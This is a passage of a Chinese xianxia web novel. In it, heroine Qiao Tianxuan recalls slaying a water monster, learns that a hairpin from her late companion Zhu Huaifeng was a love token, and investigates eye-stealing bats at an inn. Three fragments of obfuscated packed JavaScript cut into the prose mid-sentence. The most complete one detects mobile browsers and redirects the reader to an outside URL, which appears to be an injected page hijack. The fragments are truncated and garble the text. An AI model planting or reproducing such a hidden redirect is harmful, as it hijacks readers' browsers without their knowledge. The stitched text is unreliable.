乔天璇御剑在天,施展灵力攻击水怪的头部,并找机会跃到水怪的头上,用贴了符的剑刺水怪的脑袋。 面对乔天璇的各种攻击,水怪会忽地一下子沉入水中,然后突然掀起大片水花飞溅向御剑在天的乔天璇,令乔天璇怒骂不止。 花蕊在岸边用双刀不停地砍断水怪会不断地从水中伸到地面上来将人卷起并拖入水中的数条粗大触须。 那触须能直接从水中伸出一里长,将人猝不及防拖行着卷入水中。触须的数量又多,速度又快,简直是这一带所有人的噩梦。 但水怪终究是不敌三侠行客。 它所有用来将人卷入水中的触须被花蕊为了救人砍得七零八落。再次生长后,花蕊又凭着她巨大的力气强行将触须互相打死结绑在了一起,编成了个无解的大麻花。 而它那十只长着眼睛的触手都被祝怀风的九爪钩挨个儿抓瞎,让其丧失了看到一切的能力。 看不到,就没法准确地进行攻击,也不知乔天璇会在何时攻击自己。 乔天璇瞅准时机从天而降,用贴着符的剑将水怪的脑袋从上往下刺入,如同钉钉子一般。再即刻施以灵力,从内而外压制其妖力,碎其灵魂,令其彻底消失于天地间。 灵魂一消散,水怪的躯体就变成了一堆毫无生气的烂肉。 乔天璇将剑从水怪的脑袋中拔出,御剑飞回到了岸上。 三人齐齐看着水怪那巨大的尸体逐渐缩小成了直径三尺大小,缓缓沉入深深的河底,再无作妖之力。 “好!好!好!精彩啊!实在是精彩!” 戏台下看戏的所有观众连连为戏子们的演绎和精彩的情节鼓掌欢呼叫好。 三侠行客飞升成仙,位列仙班的情节在演绎完后便谢幕了。 乔天璇不再望向戏台的方向,而是低头专心吃东西。 “云天女侠,玉心女侠,你们说这戏演得好看吧?”方才那另一桌的老叟对着乔天璇和花蕊发问,他眉飞色舞,眼中满是对乔天璇和花蕊的回应的期待。 “好!非常好看!”花蕊看向老叟,赞成地点了点头。 乔天璇也看向了老叟,道:“的确很好,特别是最后三侠行客飞升成仙,位列仙班的结局,我很喜欢。” 花蕊高兴道:“我也喜欢!” “你们喜欢就好啊!”老叟开心得呵呵直笑。 周围所有人都朝乔天璇和花蕊投来了赞赏和感激的目光,即便转头后不再看她们,也依旧在对三侠行客的事情赞叹不止。 洛侠道:“看来此地是由‘镇玉被盗之事’因祸得福了。” 乔天璇吞下口中的烤虾肉,喃喃道:“这世间的因果可真是奇妙,一件事情可以引发其它无数件事情。坏事情可以变成好事情,好事情自然也能变成坏事情。” 洛侠道:“世间所有的事情本就没有好坏之分,事情的好坏都是由人来决定的。每个人的立场不同,事情在每个人心中的看法便不一样。” “哦?”乔天璇微微一顿。 祝源口中嚼咬食物的动作也停了下来,疑惑地看向了洛侠。 洛侠道:“就像‘镇玉被盗之事’,对盗取镇玉的人来说如获至宝,于他们而言,此事便是好事。但对于被盗的人来说,这便是坏事。” “我明白了。”乔天璇道:“既然师父这样说,那在被我们三侠行客合力杀死的水怪眼中,那一战就是坏事。但除了水怪,在我们所有人眼中,那一战便是好事,让这一带都安宁了下来。” 洛侠道:“没错。‘镇玉被盗之事’让你们一路追到此地,顺便为此地百姓除掉了作恶的水怪,这让‘镇玉被盗之事’无形中又成了某种意义上的好事。” “或许这一切都是天意吧。”乔天璇喝了一口水,拿起一串烤鱼吃了起来。 花蕊愤恨道:“只不过那些盗取镇玉的人绝对不会是好人!” 祝源若有所思道:“刚刚灭妖仙人不是说过‘世间的所有事情本就没有好坏之分’嘛?那人肯定也是一样的,世间所有的人本就没有好坏之分,人的好坏都是他人的评价。就比如一个人杀死了一只鸡,屠夫看到之后会夸其杀得好,可年幼的孩子在看到之后则会说杀鸡的人残忍。对鸡来说,这个杀了自己的人的确不可饶恕。而杀鸡的人只会想着有鸡吃了,很开心。由此,指不定那些盗贼也有什么难言之隐,所以才要来盗取镇玉。在我们看来,他们盗取镇玉的行为确实可恶,但他们之中或许有人真的很需要镇玉……” “闭嘴!”花蕊没声好气道:“书呆子,你听好了,小风子因此而死,你可不能为了那些盗取镇玉的人说话,一个字都不行!” “好……不说,一个字都不说了。”祝源赶紧将方才还未说完的话全都嚼碎吞下了肚。 吃完饭后,陈渊龙不由分说地抢着付了饭钱。 乔天璇由着陈渊龙付。 他想付钱更好,那就让他付。反正自己不会因此感谢他。 回忆着之前三侠行客来此地时走过的路,乔天璇打算再走一遍曾经走过的路。 虽然三侠行客现在只剩下两人,但乔天璇头上的发髻中戴着的其中一根雕着紫色灵香草[1]的簪子时刻都在提醒着她祝怀风曾与她和花蕊一起来过此地。 去年,三人在除水怪之前行于此地,路过一家西域人开的头饰铺子时,祝怀风跟在乔天璇和花蕊的身后,一同踏入了铺子中。 那时的花蕊是第一次出仙落岛,对岛外面的一切都感到新奇。她与乔天璇年龄相仿,也是爱美的少女,都喜欢好看的头饰,更别说各种各样的漂亮簪子了。 头饰铺子的老板娘是位西域女子,很热情地欢迎三人。 三人在头饰铺子里逛了一圈,花蕊逛得双眼直发亮,毫不犹豫地买了好多黄黄绿绿的簪子,当即便插到了自己的发髻上,对着头饰铺子里的镜子左看右看,旁若无人地欣赏着。 乔天璇见花蕊喜欢的簪子上大多都雕着带叶子的橘子、芒果、梨子、杏子等等果品,总体看起来黄黄绿绿的。 身为老板娘的西域女子对着花蕊夸赞不止。 她的西域口音很有意思,话语间还夹杂着不少三人都听不懂的西域话,夸得花蕊都有些不好意思了。 当然,花蕊的相貌本身就十分甜美好看,再戴上这些雕着各类缩小的果品的簪子简直就是锦上添花。 乔天璇转头将目光投向了一旁一堆雕着各种各样缩小的花草的簪子。 跟在乔天璇身旁的祝怀风见乔天璇的目光掠过那一根根簪子,好奇道:“不知云天可有看中的簪子?” 乔天璇想到自己头上的发髻已经戴了雕着云纹、白月牙、红牡丹、粉桃花的簪子了,她正想摇头,目光却忽地落到了一根雕着紫色灵香草的簪子上,下意识道:“好漂亮。” 祝怀风道:“你喜欢那个紫色的?” 乔天璇伸手轻轻碰了碰,点头道:“雕工真好,看着像真的,摸上去却又让人一下子清醒过来,明白那是雕的,不是真的。” 这时,一股甜甜的香味从门外缓缓飘了进来。 花蕊吸了吸鼻子,欢喜道:“糖炒栗子!” 随即,她快步跑到了铺子外面一个卖糖炒栗子的小贩那儿。 “玉心!”乔天璇赶忙追着花蕊出了去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025601|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >买糖炒栗子的小贩是推着车卖的,在看到花蕊和乔天璇先后赶到自己的推车面前时,小贩热情道:“不知二位姑娘想吃多少?” 花蕊毫不犹豫地竖起两个手指头,中气十足道:“两斤!” 对此,乔天璇丝毫不担心花蕊会吃不完。 买完糖炒栗子后,乔天璇和捧着一大个纸袋吃糖炒栗子的花蕊正打算回头饰铺子中,却见祝怀风已经出了头饰铺子的门口。 身后的花蕊边走边吃,走得慢慢吞吞。乔天璇朝祝怀风快走了几步,打算跟他说说关于盗走镇玉的那些盗贼逃跑的方向。祝怀风却步子更快地赶到乔天璇的面前,道:“云天,我看你很喜欢这个簪子,就给你买来了,送你。” 乔天璇顿时一愣,刚想跟祝怀风说的事情一下子被堵在了喉中。 只见祝怀风手拿雕着紫色灵香草的簪子,像是献宝一样双手捧给了乔天璇。 乔天璇拿起祝怀风递给自己的簪子,嘴角不由得扬起一笑。 她的确很喜欢这根簪子。 而且她之前也没有过紫色的簪子。 有了这根簪子,她就不缺紫色的簪子了。 “谢谢你,风筝少侠。”乔天璇小心翼翼地抚摸着手中的簪子。 “我来给你戴上吧。”祝怀风也很开心,眼中闪着亮亮的光。 “那……有劳你了。”乔天璇把簪子递回给了祝怀风手中。 “没事,不劳烦。”祝怀风满脸笑意,轻轻将这根雕着紫色灵香草的簪子戴到了乔天璇的发髻上。 他在给乔天璇戴簪子时,一阵清风拂过二人。祝怀风额前的发丝掠过乔天璇头发、额头,让乔天璇觉得痒痒的。 仔细一瞧,乔天璇见祝怀风俊俏的脸上有两颗小小的痣,颜色都很淡,不容易被人发现。其中一颗痣在上嘴唇稍微靠左的边缘上,淡得几乎看不到。另一颗痣在下巴底下正中间,也淡得很,除非特意去他下巴底下瞧,要不然可能永远都发现不了。 “慢走啊!” 听到声音,刚被祝怀风戴好簪子在发髻上的乔天璇转头望去,见头饰铺子的西域老板娘正满脸笑容地与他们三人告别。 “哎?这不是我们去年来过的那家头饰铺子吗?”花蕊惊喜地望向了一旁。 乔天璇也望了过去。 的确,依旧是那家头饰铺子,一点儿都没有变。 靠在门框上的老板娘听到了花蕊的声音,她转头一看,见到了花蕊,当即像是一下子想到了什么似的惊呼道:“是你!我记得你!你是那个买了我好多果果簪子的小姑娘!” 这西域女子说话的口音还是那么有意思,给人感觉在来回拐弯。 “老板娘好啊,又见面了。”乔天璇也向西域女子打招呼。 “你也好哇,不过怎么不见那个给你买灵香草簪子的风筝少侠?”西域女子的目光先是落到了乔天璇发髻上戴着的雕着紫色灵香草的簪子上,随后又看了看乔天璇的前后左右,都不见祝怀风的身影。 乔天璇无奈地打哈哈:“他最近没空,忙着呢。” “那你们在一起了吗?”西域女子突然有些兴奋。 “什、什么?在一起?我们怎么会在一起?”乔天璇登时脑子一热,看着西域女子的双眼都呆愣住了。 “没有在一起吗?”西域女子眼中略有惊讶之色。 “为什么会在一起啊?”乔天璇相当不解。 “你和风筝少侠之前在一起过?” 身后突然传来陈渊龙急促又带着质问意味的声音。 乔天璇慌忙回头解释:“没有你所想的‘那个’在一起过,我们只是一起出来追盗取镇玉的贼人而已啊!” “真可惜,多浪漫的感情呀……”西域女子满眼失望和惋惜。 “老板娘,你怎么会这么想啊?!”乔天璇猛地转回头望向了西域女子,十分不知所措。 西域女子会心一笑,对乔天璇道:“我们西域灵香草的花语是‘等待爱情’,风筝少侠买下来的时候还特意问过我的。你感觉不出来,可我一眼就看出来了。姑娘,他当时是在向你表达他对你的爱意呢。” 27. 淮扬之水(四) 听到西域女子如此说,乔天璇整个人都僵住了。 灵香草来自西域,乔天璇自然不了解灵香草的花语。 她脑海中猛然快速回想起了昔日自己与祝怀风在一起的时光。 那时候,乔天璇一直把祝怀风当朋友,完全没料到祝怀风原来已经对自己有了男女之情。 “这么说来,好像还真是那么一回事哎。”花蕊也在回忆着,但她亦有些摇摆不定。 乔天璇心中越想越乱,一把拔下头上发髻上戴着的灵香草簪子,拿在手中反复瞧了瞧。 灵香草簪子依旧跟去年祝怀风将其送给自己时那样,没有任何变化。 “灵香草的花语是……等待爱情……”乔天璇拿着灵香草簪子的手不由得肉眼可见地颤抖了起来。 不知为何,乔天璇忽然发现回忆中的祝怀风原来有许多被自己以前所忽略的地方。 而那些被忽略的地方,如今看来无不表现着祝怀风对自己的情意。 一瞬间,乔天璇感觉回忆中的自己好似一块不为所动的木头,又像是一根油盐不进的铁棍。 仙落岛灵气充沛,岛上的一条溪流中每到春季就会涌出不少肉质鲜嫩的鱼。 这些鱼跟从海中捕来的海鱼味道不一样,有种与众不同的鲜美。 于是,春钓便成了乔天璇期待的事情之一。 只是乔天璇钓鱼的技术实在是差,比起与自己一起钓鱼的花蕊和祝怀风,她几乎次次都空手而归,有时候运气好才能钓得到一条小鱼,而花蕊和祝怀风每回都能钓得到两、三条大鱼。对此,乔天璇实在是不甘心。 有一回,乔天璇跟以往一样怀着准备好要空手而归的心情钓鱼。 突然,她感觉到自己的鱼钩竟是猛烈地动了动。 在经过小心翼翼地收线之后,她猛地将鱼钓出,发现上钩的居然是一条相当肥美的大鱼。 “哇!!!好大的鱼!!!”乔天璇忍不住惊呼。 这是她头一回钓到这么大又肥的鱼。 “呀!天璇姐姐,你钓鱼的技术有进步啊!”花蕊惊喜地望向了乔天璇。 这时,水中忽然冒出一个人的头来。 那人高兴地对着乔天璇笑道:“灵师大人!喜不喜欢这条大鱼?” 此人不是别人,正是祝怀风。 顿时,乔天璇脸上兴奋的表情僵住了。 她一下子就明白了这条大肥鱼并不是因为自己钓鱼技术有进步了才钓上来的,而是祝怀风特意下水将其赶过来给自己钓的。 可这样一来,她不就不是完全凭借自己的实力将鱼给钓上来了的吗? “怀风兄,谢谢你。”乔天璇略有失落之意,脸上的神色恢复了平静。 见乔天璇的表情如此巨变,祝怀风似乎有些不解。 花蕊看了看水中的祝怀风,又看了看身旁的乔天璇,顿时也明白了过来。 “哦哟!原来是小风子把鱼给赶过来的呀?哎!小风子,你怎么不给我也赶一条过来?!” “你都已经钓到两条鱼了,要不是我给天璇赶鱼过来,天璇还一条鱼都没有钓到呢。”祝怀风游到了岸边,浑身湿漉漉地上了岸。 “切!不赶拉倒,反正以我的钓鱼技术也不需要你的帮忙。”花蕊撇了撇嘴,继续专心致志地钓鱼。 从水中爬上来的祝怀风并未穿着上衣,少年身上沾满水珠的结实肌肉显露无疑。他腹部的薄肌随着他的呼吸缓缓起伏着,不断往下低落着颗颗在阳光下被照得晶莹剔透的水珠。 祝怀风心情忐忑不安地走到了乔天璇的身旁。 乔天璇认真道:“怀风兄,我不用你给我赶鱼,我要靠自己钓。” 祝怀风眨巴了一下双眼,蹲在了乔天璇的身旁,委屈道:“对不起。” 乔天璇一愣,脸上失望的表情彻底消了下去。 她揉了揉祝怀风湿漉漉的头发,嘴角扬起一丝笑容,乐道:“知错就好。不过我觉得我钓不上来鱼应该是我的鱼饵的问题,你要是能给我弄来些厉害的鱼饵,那我说不定就可以靠自己把大肥鱼给钓上来了。” 闻言,祝怀风神色一凝,似是在思索着些什么。 几日后,仍旧是三人在溪边钓鱼。 祝怀风表情神神秘秘地拿了一碗鱼饵给乔天璇,胸有成竹地小声道:“灵师大人,我调制的这些鱼饵保证好使!一定可以让你靠自己把大肥鱼给钓上来的!” 乔天璇接过祝怀风递给自己的那碗鱼饵,淡淡道:“不错,那我姑且试试看吧。” 虽说换了鱼饵,但乔天璇其实对自己并没有多大的信心。 然而,祝怀风给乔天璇用的这些鱼饵就像是专门给鱼下了媚药一样。乔天璇居然接二连三把大肥鱼给钓了上来,一钓一个准,不一会儿就接连钓了七条鱼上来。 “不是吧?不是吧?不是吧?”一旁的花蕊看得目瞪口呆。 乔天璇也不可置信地看向了祝怀风。 祝怀风神采飞扬地看着乔天璇,高兴道:“灵师大人靠自己把大肥鱼给钓了上来,开不开心?” “当然开心,只是不知这鱼饵为何能如此吸引鱼?”乔天璇相当好奇。 祝怀风神秘一笑。 他快步走到了乔天璇的身旁,弯腰凑到了乔天璇的耳边,轻声道:“我偶然间发现这溪里面的鱼爱吃糖,便掺了糖在鱼饵中。” “哦——”乔天璇恍然大悟。 “什么啊什么啊什么啊什么啊?”花蕊听不到祝怀风说了什么,急得连连大声发问。 乔天璇转头看向了花蕊,神秘一笑,道:“阿蕊,这溪里的鱼喜欢吃甜的哦。” 当然,除了肉质鲜嫩的鱼,仙落岛上的海风还很适合放纸鸢。 乔天璇虽然钓鱼的技术不好,但她放纸鸢的技术却很好。 “哎呀!为什么我的纸鸢就是飞得没有天璇姐姐的高?”花蕊不甘心地看着乔天璇手中飞得又高又远的纸鸢。 乔天璇漫不经心道:“要让纸鸢顺风而飞,不要逆风。” “呼……麻烦死了……”花蕊不耐烦地嘟囔着,吹了吹额前扫眼了的碎发。 今日风大,三人的纸鸢都有些不听使唤,突如其来一阵吹得三人发丝齐齐往脑门后飞去的海风更是让祝怀风和乔天璇的纸鸢缠在了一起。 “哎?怎么解不开?”乔天璇试着让两只纸鸢分开,却不曾想两只纸鸢越缠越紧。 祝怀风也试着让自己的那只纸鸢和乔天璇的纸鸢分开,可最终都以失败告终。 “怎么办?”祝怀风无奈地看着乔天璇。 乔天璇扯了扯手中的线,绝望道:“估计没辙了,两条线应该是被风给死死缠在一起了。” 她从前放纸鸢可从来都没遇到过这种情况,一时半会儿想不到有什么好的办法能让飞在天上的两只纸鸢缠在一起的线分开。 “哈哈哈哈哈哈哈……我的纸鸢现在飞得可是比你们两个的纸鸢都高都远了!”花蕊高兴地看着她那乘风高飞的纸鸢,一脸“大仇得报”的表情。 祝怀风望天长叹:“都——怪——风——” 乔天璇平复了一下心情,冷静道:“没事。” 不就是两只纸鸢的线被缠在一起解不开了嘛,大不了让它们一起飞走吧。 想罢,乔天璇一把取下缠在腰间的削魂,一剑斩断自己与祝怀风各自纸鸢的线。 “天璇?!”祝怀风被乔天璇毫无预兆的动作吓了一跳。 花蕊也愣住了,她双眼直直地看着乔天璇,满脸不知所措。 “当断不断,徒增烦恼。”乔天璇收回削魂,一脸释然。 望着两只被迫缠在一起的断线纸鸢被海风越吹越远,一路飞到了海面上,逐渐消失在远方再也看不到的天际,祝怀风似有所感:“缠缠绵绵双双飞向天宫去,也算不枉此生。” “咦呀小风子,你可不要学书呆子那样文邹邹的啊。”花蕊嫌弃地瞥了一眼祝怀风。 祝怀风道:“我哪儿比得上祝源那般好学啊?阿蕊,你的书呆子以后迟早会进京赶考,考上状元之后当大官的。” “什么叫做我的书呆子?!小风子,你可不要乱说!!!”花蕊通红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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即便身为灵师,但由于受到天地生死法则的约束,乔天璇并没有能够强留祝怀风灵魂的能力。就算她偏要强留,也只能依靠法宝之类的将其强留片刻罢了,徒增更加强烈的悲伤与不舍。 乔天璇走到头饰铺子的镜子前,小心翼翼地将手中的灵香草簪子戴在了祝怀风第一次给自己戴在发髻上的位置。 “不用不用,我都说了你不用给我买!” 花蕊烦躁的声音在一旁响起。 乔天璇转头望去,见花蕊虽然嘴上拒绝,但眼睛却一直盯着祝源手中拿着的一根雕着金黄色葫芦的簪子。 “我看你明明就喜欢得很。”祝源不由分说地拿着葫芦簪子来到了西域女子面前。 西域女子一看到眼前这场面,立即就明白了是怎么一回事儿。 她勾起嘴角笑道:“葫芦带有福气、财富、官禄的意思,也可用于驱邪避灾。官员们也很喜欢佩戴葫芦挂件,其有‘加官进禄’的寓意。” 闻言,祝源即刻买下了葫芦簪子,随后跑向花蕊,一本正经道:“听到老板娘说的了吗?葫芦又有福气又能驱邪避灾,可好了!” 花蕊道:“不是还有‘加官进禄’的意思吗?你自己也可以戴啊!大书呆子!未来的状元大官!” “我、我送你!送你!现在是你的了!”祝源把葫芦簪子双手捧到了花蕊面前。 花蕊垂眸看了看祝源手中的葫芦簪子,又抬眸看了看祝源,如此来回看了三轮,最后一把夺过祝源手中的葫芦簪子,随意地插在了自己的发髻上,镜子也不照,赌气一般踱着步子头也不回地出了头饰铺子的门,边走边道:“哼,烦死了!” “好看!”祝源连忙跟在了花蕊的身后。 “书呆子真烦人!”门外传来花蕊越来越远的声音。 怎么走得那么快? 乔天璇不放心,在跟西域女子道了别后就立马出门去追花蕊。 “云天!”陈渊龙焦急的声音紧随其后。 乔天璇回头瞅了一眼,见陈渊龙和洛侠都跟在自己的身后。 “徒儿,就让他们两个吵一吵吧。”洛侠望着前方已经走到了淮扬运河旁的一棵大树下一人一句吵吵闹闹的花蕊和祝源,眼中泛起一丝无奈的笑意。 “……嗯,行吧,听师父的。”乔天璇停下了想要追上前去的脚步,靠在一边的墙上看起了大树下吵架的两人。 28. 盗眼蝙蝠(一) 看着好不然容易吵完了架后脸色都不太好的花蕊和祝源,乔天璇一把揽过身旁花蕊的肩膀,在她耳旁悄声道:“都是他的错,都是他的错,都是他的错,都是他的错,都是他的错,都是他的错。” “哼哼。”花蕊的脸色终于好了一些,鼻中发出了不屑的哼笑。 祝源见花蕊的脸色好一些了,他便偷偷走得靠近了花蕊一些。 洛侠看着揽着花蕊嘀嘀咕咕说话的乔天璇,不禁露出了浅浅的笑。 虽然不知身后跟着自己的陈渊龙是什么表情,但乔天璇一点儿也关心这个。 行了一整日,五人打算在不远处的一家客栈休息一晚。 看着眼前的五人,掌柜为难道:“五位客人啊?可是我们客栈只剩下两间房了。” “那正好省钱了,就要两间房吧。”乔天璇一只手放下碎银,另一只手揽着花蕊,懒洋洋道:“我和这位姑娘住一间房,另外三位一起住一间房。” 洛侠无奈地点了点头。 祝源道:“可以的,没问题。” 花蕊悄悄扯了一下祝源的衣袖,在他耳边小声问道:“你们三个男的到底是怎么分配睡觉位置的啊?” 祝源也小声道:“我打地铺,太子殿下睡榻上。灭妖仙人就厉害了,他会挂上一根横着悬于空中的绳子,然后睡在绳子上。” “……” 乔天璇耳力不差,全都给听了去。 她倒是知道洛侠的确能睡在一根横着悬于空中的绳子上。 陈渊龙身为太子殿下,即便他想要打地铺,祝源估计也依然不会睡榻上,到最后睡榻上的自然而然就还是陈渊龙了。 “真是身份好,睡得好。”乔天璇不禁念叨。 “什么?”掌柜忽然听到乔天璇说的这一句话,一脸疑惑。 “没什么没什么。”乔天璇摇了摇头。 “哦,提醒一下你们。”掌柜认真道:“此地最近夜里有好几十户人家遇到了盗眼蝠。盗眼蝠,顾名思义,这些蝙蝠会在夜里盗取逗留在屋外之人的眼睛。你们一定要注意保护好自己的眼睛,夜里切记不要在外逗留,而且一定要把窗户给关好,以防盗眼蝠飞进屋子里来。” “这么可怕?”乔天璇眉头一皱。 掌柜道:“是啊,所以夜里无论听到外面有什么声音,都不要好奇开窗去看,要不然眼睛可能一下子就被盗眼蝠给盗去了。” 乔天璇道:“多谢掌柜提醒,我们一定会注意的。” 掌柜似是不放心,他再次提醒道:“可一定要注意啊!千万不要不把我的提醒当一回事儿!之前就是有客人不听我的提醒,最后啊……好端端的一个人,一下子就成了瞎子!” 洛侠道:“我们一定会注意的。” 祝源道:“是啊,这般吓人,我们怎么可能会不注意?” 陈渊龙看了一眼乔天璇。 “看什么?特别是你!”乔天璇看回了陈渊龙,口中做了一个“太子殿下”的口型,接着道出声来:“最该注意的就是你!” 陈渊龙道:“好,我会注意的。” “啧,就算你真的瞎了也不关我的事。”乔天璇暗暗嘀咕着,不再看陈渊龙。 夜里,乔天璇和花蕊关好了房间的窗,一同面对面坐在榻上低头发呆。 桌上烛灯的火苗摇曳不止,将榻上两人的身影摇摇晃晃地映在白墙上。 乔天璇低头看着手中从自己发髻上取下来的灵香草簪子,喃喃道:“阿蕊,你说怀风兄怎么就不直接来跟我说他喜欢我呢?” 花蕊沉默了片刻,思索道:“可能是害羞吧?也有可能是想到了灭妖仙人是宠爱你的师父?所以不敢?” “害羞?或者是……”乔天璇若有所思道:“忌惮我的师父?” 花蕊道:“当然了!你师父对你的宠爱我们全仙落岛人可都是看在眼里的,谁敢轻易说喜欢你?” “这……”乔天璇一时语塞,垂下眼帘。 是了,洛侠是自己的师父,自己也很依赖洛侠。洛侠对自己的宠爱简直超乎常人,自己从洛侠那里得到了自己在亲生父亲那里根本不可能得到的爱。 对于洛侠的感情,乔天璇其实也看不透自己。但她知道若是一定要做一个选择,那她一定会选择一辈子都待在洛侠的身边,永远当他唯一的徒弟。 见乔天璇一脸惆怅,花蕊伸手拍了拍乔天璇的肩膀,安慰道:“过去的事情就让它过去吧,不要过于陷在过去的事情中。小风子死了我也很难过,可时间在流逝,世界在变化,我们都要往前看,不是吗?” 乔天璇轻轻抚过灵香草簪子,抬眸对花蕊道:“你说得对,我们都要往前看。” 花蕊道:“可天璇姐姐脸上的表情明显还陷在小风子的事情当中呀。” 乔天璇苦笑一声,道:“我只是觉得自己如今才得知怀风兄对我的心意,对此感到很抱歉。” 花蕊道:“我想小风子肯定不会怪天璇姐姐的。毕竟在天璇姐姐发现他对自己的心意之前,他一直都是自己在一厢情愿啊。” “……” 房间中沉默良久。 突然,一声凄厉的惨叫声从窗户外面传来。 榻上两人顿时一惊。 “现在已经天黑了,许是又有人在外面逗留,眼睛被掌柜所说的盗眼蝠给盗去了。”乔天璇立即冷静了下来。 “明知有盗眼蝠,还敢晚上在外面逗留,这不是明摆着给盗眼蝠机会吗?简直是在作死。”花蕊一脸嘲讽傻子的表情。 “可这世间偏偏最不缺的就是喜欢作死的人。”乔天璇走下了榻,来到了窗户前。 “千万不要开窗啊!”花蕊连忙提醒。 “当然不可能开窗。”乔天璇从窗户缝往外勉强望去。 但这会儿大片的乌云遮住了月亮,乔天璇只能看到漆黑一片,根本瞧不见发出惨叫声的人。 “啊啊啊啊啊啊——” 惨叫声还在持续不断地响起,而且乔天璇感觉惨叫声就在窗户外面。 “奇也怪哉,我们这间房在二楼,可为何我感觉惨叫的人与我们只有一窗之隔?难不成那人会飞?”乔天璇有些疑惑。 花蕊也从榻上下了来,步至窗户边,凑到了乔天璇下巴下面的窗户缝那儿往外望去。 “不对劲,这惨叫声有时候又给我感觉很远。”乔天璇稍稍低头看了看凑在自己下巴下面位置的花蕊。 花蕊道:“的确,我也觉得惨叫声忽近忽远……” 两人就这么凑在窗户缝前,看着外面的一片漆黑,听着奇怪的惨叫声,再加上屋内桌上烛灯的烛火摇曳,明暗不定,不禁感到了一丝瘆人的凉意。 乔天璇不再看着窗户缝,而是将自己的一只耳朵贴到了窗户缝上。 既然外面太黑,眼睛看不到,那就专心致志用耳朵听。 为了集中注意力,乔天璇闭上了双眼。 片刻后,花蕊像是有什么新发现一样突然睁大了双眼。 与此同时,乔天璇好像也明白过来了惨叫声是怎么一回事。 为了确认自己的猜想,乔天璇将自己的耳朵贴得与窗户缝几乎没有任何间隙,想再试着更加清晰地听一下方才听到的声音。 花蕊缓缓离开了窗户缝,站直了身子,见乔天璇在用耳朵听,便凑到了她的另一只耳朵旁,小声道:“天璇姐姐,有异常啊。我刚刚并没有闻到血的味道,反而闻到了一股淡淡的鱼腥味。” 乔天璇浑身一怔,睁开了双眼,道:“是吗?我也发现了异常。” 花蕊依旧在乔天璇的耳边问:“什么异常?” 乔天璇道:“我听到惨叫声靠近来的时候还伴随着若有若无的翅膀扇动声,惨叫声远的时候我就听不到那种翅膀扇动声了。” “惨叫声和翅膀扇动声也有关联?”花蕊离开了乔天璇的耳边,独自一人站在一旁歪头思索。 乔天璇不再将一只耳朵紧贴窗户缝听声音,她转身看向了花蕊,道:“你知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有人在杀盗眼蝠!”花蕊当即又趴到了窗户缝前,想看看到底是谁在杀盗眼蝠。 此时,月亮终于从乌云后面探出了头来。 借着月光,花蕊看到一个用一条黑布蒙着眼睛的道士在挥剑砍杀盗眼蝠。 乔天璇也凑到了方才她往外望去的窗户缝那儿,眼前看到的画面与花蕊看到的画面的如出一辙。 那蒙眼道士身着一袭深蓝色道服,头戴黑色太极巾,时而原地“守株待兔”斩杀冲着他的眼睛而来的盗眼蝠,时而飞檐走壁,一剑便让飞在空中的盗眼蝠一命呜呼。 窗户缝能让人看到的画面有限,两人有时候根本就看不到蒙眼道士杀盗眼蝠时的身影,只能听见蒙眼道士杀盗眼蝠时发出的声音。 “真是可惜,不能开窗看个尽兴。”乔天璇忍不住叹息。 花蕊道:“眼睛要紧,万一有盗眼蝠飞进来,我们的眼睛可就完蛋了。” 不多时,屋外盗眼蝠的声音彻底消失不见,杀盗眼蝠的蒙眼道士也杀着杀着就杀进了不远处的一片树林子中。 乔天璇离开了窗户缝,平静了一会儿,还是忍不住惊叹:“这道士真是好功夫好胆量,为了不让自己的眼睛被盗眼蝠盗取,便蒙上了眼。而他蒙着眼杀盗眼蝠还能杀得这么游刃有余,最后居然还杀到了大晚上的树林子里!” “不会是什么绝世高人吧?”花蕊也离开了窗户缝,满眼不可置信。 “嗯……明天我问问师父吧。”乔天璇大步迈到了榻上躺下,脑海中还在回想着方才蒙眼道士杀盗眼蝠的画面。 “也对,说不定灭妖仙人会知道。”花蕊也回到了榻上躺下。 此刻,屋外安静得连虫鸣声都没有,甚至让人有种感觉时间静止了的错觉。只有屋内桌上烛灯越来越弱的烛火在提醒着人时间还在流逝,长夜在慢慢过去。 29. 盗眼蝙蝠(二) 翌日,五人一起在客栈一楼的一张桌子吃早饭。 乔天璇咽下一口小米粥,抬头对坐在自己身旁的洛侠道:“师父,你昨夜有听到人的惨叫声吗?” 洛侠道:“听到了。” 乔天璇道:“那不是人发出来的声音。” 洛侠拿勺子舀小米粥的动作一顿,缓缓转头看向了乔天璇。 除了已经知情的花蕊仍旧埋头喝小米粥,陈渊龙、洛侠、祝源都不禁停下了吃东西的动作,抬眸朝乔天璇投来了目光。 乔天璇分别看了陈渊龙、祝源一眼,最后看向了洛侠,故意用讲恐怖故事的语气道:“我从窗户缝那儿看到和听到了,发现啊……其实是盗眼蝠在学人的惨叫声!” “嘶——!”祝源瞳孔骤然猛缩。 “哼哼。”花蕊瞟了一眼祝源,一脸看胆小鬼的表情。 陈渊龙深呼吸一口气,面无表情地看着乔天璇。 洛侠思绪一动,道:“璇儿是听到发出惨叫声的盗眼蝠飞时扇动翅膀的声音了吧?” “没错!师父简直与我心心相连啊,一下子就知道我是怎么发现的了!”乔天璇眼中闪出了兴奋的光。 陈渊龙嘴角不动声色地抽搐了一下,看着乔天璇的眼中泛起一丝不甘。 “师父,你知道我之后还见到了什么刺激的画面吗?”乔天璇丝毫不理会陈渊龙看着自己的眼神,满眼都是身旁的洛侠。 